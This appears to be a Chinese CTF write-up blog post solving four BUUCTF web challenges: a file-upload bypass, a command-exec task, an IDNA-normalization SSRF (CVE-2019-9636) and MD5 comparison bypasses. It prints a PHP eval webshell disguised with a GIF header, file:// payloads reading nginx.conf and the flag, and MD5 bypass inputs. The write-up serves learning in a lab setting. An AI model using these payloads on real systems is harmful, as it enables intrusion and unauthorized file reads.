Web-8(29-32)-BUUCTF平臺

本篇內容
[極客大挑戰 2019]Upload
[ACTF2020 新生賽]Exec
[SUCTF 2019]Pythonginx
[BJDCTF2020]Easy MD5

上一篇 | 目錄 | 下一篇

[極客大挑戰 2019]Upload
在這裏插入圖片描述
很像之前寫的一道題目:[SUCTF 2019]CheckIn。按照這個方法上傳.user.ini發現不行。而且寫一句話時同樣的不能帶有<?,需要內容換成這樣<script language='php'>eval($_GET['a']);</script>樣子才能上傳。
既然.user.ini不能上傳到話,那就嘗試一下php的一些繞過文件名後綴的檢查的方法:

php、php2、php3、php5、phtml

發現phtml可以繞過,a.phtml內容:

GIF89a
<script language='php'>eval($_POST['a']);</script>

操作如下:
在這裏插入圖片描述
然後就是蟻劍連接了:
在這裏插入圖片描述
然後在根路徑下找到flag:
在這裏插入圖片描述
當然的,不用一句話連接蟻劍連接也是可以啊,但操作方式一樣,a.phtml內容如下:

GIF89a
<script language='php'>eval($_GET['a']);</script>

操作方式:
在這裏插入圖片描述
然後就是執行命令了:
在這裏插入圖片描述
在這裏插入圖片描述





[ACTF2020 新生賽]Exec
在這裏插入圖片描述
老套路了,直接做:
在這裏插入圖片描述
在這裏插入圖片描述
拿到flag。





[SUCTF 2019]Pythonginx

直接右鍵查看源碼可以查看到正確格式的內容:

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"
        
    <!-- Dont worry about the suctf.cc. Go on! -->
    <!-- Do you know the nginx? -->

代碼感覺有些難度,那就用一個例子解釋一下一些函數的作用:

>>> from urllib import parse
>>> url = 'http://www.example.com/a?b&c=1#2'
>>> host = parse.urlparse(url).hostname	#urlparse對url進行分割,host等於其中的hostname
>>> parse.urlparse(url)					#查看一下效果
ParseResult(scheme='http', netloc='www.example.com', path='/a', params='', query='b&c=1', fragment='2')
>>> host								#查看host的內容
'www.example.com'
>>> parts = list(parse.urlsplit(url))	#同樣的,urlsplit也是分割url,並保存爲列表
>>> parts								#查看一下效果
['http', 'www.example.com', '/a', 'b&c=1', '2']
>>> host = parts[1]						#相當於也是取其中的hostname
>>> host
'www.example.com'
>>> finalUrl = parse.urlunsplit(parts).split(' ')[0]	#urlunsplit拼接爲url
>>> finalUrl											#查看一下效果
'http://www.example.com/a?b&c=1#2'
>>>

是不是這些函數方法也不是很難。那再來看看代碼的意思:
我們最終是要讓他return的是urllib.request.urlopen(finalUrl).read(),其他的return都不行
在這裏插入圖片描述
也就是說總共三個if語句,我們只能滿足第三個if語句,即host在一開始並不能等於suctf.cc,到了第三個if語句它就要等於suctf.cc了。那感覺有些難度啊,肯定存在漏洞讓我們來繞過,我之前解釋函數有一塊沒有解釋:
在這裏插入圖片描述
這裏的解釋參考大佬文章:python中urlsplit函數存在的漏洞

CVE-2019-9636:urlsplit 不處理 NFKC 標準化
CVE-2019-10160:urlsplit NFKD 標準化漏洞

漏洞原理:
用 Punycode/IDNA 編碼的 URL 使用 NFKC 規範化來分解字符。可能導致某些字符將新的段引入 URL。
例如,在直接比較中,\ uFF03不等於'#',而是統一化爲'#',這會更改 URL 的片段部分。類似地,\ u2100 統一化爲'a/c',它引入了路徑段。

那我們只需要尋找到可替代字符就好了,到這裏還是不太懂這個漏洞,沒事,我再用一個例子講一下:

>>> host = 'suctf.cⅭ'		#注意這裏的Ⅽ並不是大寫的C,而是一個Unicode碼
>>> (host == 'suctf.cc')	#直接比較卻不相等
False
>>> (host.encode('idna').decode('utf-8') == 'suctf.cc')	#但是經過idna編碼後用utf-8解碼後就相等了
True
>>>

這只是一個替代的例子,那到底有哪些可替代字符呢,參考altman學長寫的一個腳本:

# coding:utf-8 
for i in range(128,65537):    
    tmp=chr(i)    
    try:        
        res = tmp.encode('idna').decode('utf-8')        
        if("-") in res:            
            continue        
        print("U:{}    A:{}      ascii:{} ".format(tmp, res, i))    
    except:        
        pass

這裏的腳本我是抄來的,但我寫文章只要是抄來的都會寫來源的,可惜這次因爲我抄的腳本的那個人也是抄來的,他沒寫來源,我不能寫他的啊,他又不是原作者,所以沒法指向真正的來源文章。
好了,我感覺介紹的差不多了,該是構造payload了。
一開始的源代碼提示了nginx,而nginx的配置文件目錄爲:/usr/local/nginx/conf/nginx.conf,而且host爲suctf.cc
然後我嘗試發現了不能用http和https協議,得用file本地文件傳輸協議,所以希望傳入的是

file://suctf.cc/usr/local/nginx/conf/nginx.conf

替代方法有多種,雖然我看網上的WP都使用的是來替代c/u,那我就使用個簡單的代替c就好。所以payload:

file://suctf.cⅭ/usr/local/nginx/conf/nginx.conf

在這裏插入圖片描述
在這裏插入圖片描述
提示在/usr/fffffflag下,payload:

file://suctf.cⅭ/usr/fffffflag

在這裏插入圖片描述
在這裏插入圖片描述
拿到最終flag。這次難得的寫了一次詳細的WP,是因爲我覺得這個漏洞比較有意思,而且覺得百度第一頁搜出來的WP寫的不夠詳細,對我這樣真正的菜雞不夠友好。





[BJDCTF2020]Easy MD5
在這裏插入圖片描述
嘗試注入後沒結果,抓個包看看:
在這裏插入圖片描述
提示select * from 'admin' where password=md5($pass,true),看到這語句就知道要使用ffifdyop了,我不做解釋了,網上一大堆。
在這裏插入圖片描述
提交後另一個界面直接右鍵源代碼,出現:

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

直接數組繞過,payload:

?a[]=1&b[]=2

在這裏插入圖片描述
出現如下代碼:

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

也可以直接數組繞過,拿到flag。
在這裏插入圖片描述




========================================================
上一篇-----------------------------------目錄 -----------------------------------下一篇
========================================================
轉載請註明出處
本文網址:https://blog.csdn.net/hiahiachang/article/details/105443688
========================================================

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章